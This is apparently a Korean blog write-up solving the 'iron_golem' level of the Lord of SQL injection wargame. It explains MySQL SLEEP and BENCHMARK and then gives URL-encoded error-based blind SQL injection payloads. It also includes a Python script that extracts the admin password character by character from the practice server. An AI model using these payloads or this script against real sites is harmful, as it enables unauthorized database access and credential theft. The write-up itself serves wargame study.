소스코드 분석
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
여기서 sleep과 benchmark를 필터링 해놨는데 왜 했는지 의도에 대해서는 모르겠다.
sleep은 쿼리를 초단위로 지연을 시킬수 있다.
select * from [테이블 명] WHERE SLEEP(5)=0;
지정한 숫자보다 3배는 더걸리는거 같다.
SLEEP(duration)
https://dev.mysql.com/doc/refman/5.7/en/miscellaneous-functions.html#function_sleep
Sleeps (pauses) for the number of seconds given by the duration argument, then returns 0. The duration may have a fractional part. If the argument is NULL or negative, SLEEP() produces a warning, or an error in strict SQL mode.
duration 인수로 지정된 시간 (초) 동안 휴면 (일시 중지) 한 다음 0을 반환합니다. 기간에는 소수 부분이있을 수 있습니다. 인수가 NULL 또는 음수이면 SLEEP ()은 경고를 발생 시키거나 엄격한 SQL 모드에서 오류를 생성합니다.
When sleep returns normally (without interruption), it returns 0:
sleep이 정상적으로 (중단없이) 돌아 오면 0을 반환합니다.
When SLEEP() is the only thing invoked by a query that is interrupted, it returns 1 and the query itself returns no error.
인터럽트 된 쿼리에서 SLEEP ()이 호출 된 경우에만 1을 반환하고 쿼리 자체는 오류를 반환하지 않습니다.
BENCHMARK(count,expr)
https://dev.mysql.com/doc/refman/5.7/en/information-functions.html#function_benchmark
The BENCHMARK() function executes the expression expr repeatedly count times. It may be used to time how quickly MySQL processes the expression. The result value is always 0. The intended use is from within the mysql client, which reports query execution times:
$result = @mysql_fetch_array(mysql_query($query));
if(mysql_error()) exit(mysql_error());
echo "<hr>query : <strong>{$query}</strong><hr><br>";
mysql error를 발생 시켜야 참인지 거짓인지 판별 할수 있다.
그리고 admin의 pw를 알면된다.
mysql if문을 사용하여 문제를 풀었다.
if(조건,참일 때,거짓일 때)
?pw=%27%20or%20if((select%20id=%27admin%27%20and%20length(pw)=16),true,(select%201%20union%20select%202))%23%22
이 쿼리 문을 날려 조건이 거짓일때 상태를 보면
이런 상태가 되고 이때 error가 떠야한다. (error면 다되는게 아니라 단독으로 실행 시켰을
때는 문제가 없고 or 조건을 만났을때 error가 떠야한다.)
ERROR 1242 (21000): Subquery returns more than 1 row
서브쿼리가 하나 이상의 레코드를 리턴하는 문장들에 대해 발생하는 에러이다.
?pw=%27%20or%20if((select%20id=%27admin%27%20and%20LENGTH(mid(pw,1,1))=4),true,(select%201%20union%20select%202))%23
총 16바이트에서 한글자당 4바이트니 4글자인거 확인
import http.client
result=''
leng=0
header={'Cookie':'PHPSESSID=d2u60c9405fkkj55cdqvgfnsc0'}
string="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_-=+"
for i in range(1,5):
for j in range(0,76):
substr = '/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?pw=%27%20or%20if((select%20id=%27admin%27%20and%20substr(pw,'+str(i)+',1)=%27' + str(string[j]) + '%27),true,(select%201%20union%20select%202))%23%22'
conn=http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET',substr,'',header)
data=conn.getresponse().read()
if data.decode().find("Subquery returns more than 1 row") != 0:
result=result+string[j]
print ('substr(pw,'+str(i)+',1)= '+str(string[j]))
break
print ('Password is '+result)
'WarGame > Web' 카테고리의 다른 글
[Lord of SQL injection] hell_fire (0) | 2017.06.02 |
---|---|
[Lord of SQL injection] dark_eyes (0) | 2017.06.02 |
[Lord of SQL injection] dragon (0) | 2017.06.01 |
[Lord of SQL injection] xavis (0) | 2017.06.01 |
[Lord of SQL injection] nightmare (0) | 2017.05.28 |